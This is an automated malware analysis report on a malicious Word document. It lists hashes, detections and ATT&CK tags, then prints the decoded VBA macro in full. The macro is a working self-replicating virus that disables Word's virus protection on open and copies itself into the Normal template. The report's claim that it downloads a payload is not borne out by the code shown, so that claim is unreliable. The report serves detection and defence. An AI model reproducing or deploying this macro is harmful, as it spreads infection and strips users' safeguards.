Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a578aae01b7e8528…

MALICIOUS

Office (OLE)

50.5 KB Created: 2019-08-23 01:04:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: ca69e6e39a0bde64aa80d55b108f0b8f SHA-1: 4574cd1d0831227d725305685d6a39a569354db6 SHA-256: a578aae01b7e8528b73e2ae6dc06b37599fc77a137f394016563e8037fac59ee
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro that is triggered by the Document_Open event. The macro attempts to overwrite itself with its own code and then execute it, a common technique for obfuscation or payload delivery. The presence of the 'APMPKILL' comments and the ClamAV signature 'Doc.Macro.APMPKILL-6097118-0' suggest this macro is designed to download and execute a malicious payload.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

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